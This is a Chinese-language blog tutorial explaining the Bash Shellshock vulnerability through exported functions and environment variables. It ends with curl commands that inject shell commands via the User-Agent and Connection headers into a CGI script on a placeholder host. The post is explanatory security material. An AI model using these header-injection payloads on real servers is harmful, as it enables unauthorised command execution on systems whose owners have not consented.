[WEB安全]Linux下的Bash漏洞

0x01 简介

bash的环境变量:环境变量是操作系统运行shell中的变量,很多程序的运行需要获取系统的环境变量参数。

具体赋值格式如下:

$mo="hello world"

然后你就可以使用这个变量了,但是只是局部变量,即是当前进程可以用,若当前进程的子进程或者其他进程需要用,需要用到 export 将本进程的变量 copy 到其他进程。

如果没加 export ,新建一个bash,再输出 $var 就不能获取环境变量:

$mo="hello bash"
$echo $mo
hello bash
$bash
$echo $mo

所以得加个 export,才可以成为全局环境变量

0x02 漏洞产生原理

2.1 bash函数

首先来简单理解一下bash的函数,bash是可以存在函数的:

$ foo(){ echo "hello coolshell"; }
$ foo
hello coolshell
$ bash
$ foo
bash: foo: command not found

与上面同理, 加个 export -f 就可以全局调用:

$ foo(){ echo "hello coolshell"; }
$ foo
hello coolshell
$ export -f foo
$ bash
$ foo
hello coolshell

2.2 bash的bug

先看如下测试代码:

$export X='() { echo "inside X"; }; echo "outside X";'

#用env 查看创建出来的环境变量
$env
X=(){ echo "inside X"; }; echo "outside X";

当我们在当前的 bash shell 进程下产生一个 bash 的子进程时,新的子进程会读取父进程的所有 export 的环境变量,并复制到自己的进程空间中,很明显,上面的X变量的函数的后面还注入了一条命令:echo “outside X”,这条命令会在父进程向子进程复制的过程中被执行。

$export X='() { echo "inside X"; }; echo "outside X";'
$bash
outside X

这就是 bash 的 bug —— 函数体外面的代码被默认地执行了

0x03 漏洞实践

当目标网站中存在任意 bash 文件时,可以尝试利用此 bash 漏洞,案例如下 cgi-bin 目录下的 poc.cgi 文件:

通过 HTTP 构造恶意请求:

#修改请求头中的 User-Agent
curl -A '() { :; }; echo -e "\r\n";/bin/ls -la' http://x.x.x.x:40765/cgi-bin/poc.cgi

#添加 Connection 请求头
curl -H 'Connection:() { :; }; echo -e "\r\n";/bin/ls -la' http://x.x.x.x:40765/cgi-bin/poc.cgi

posted @ 2020-04-10 22:32  肖洋肖恩、  阅读(878)  评论(0编辑  收藏  举报
jQuery火箭图标返回顶部代码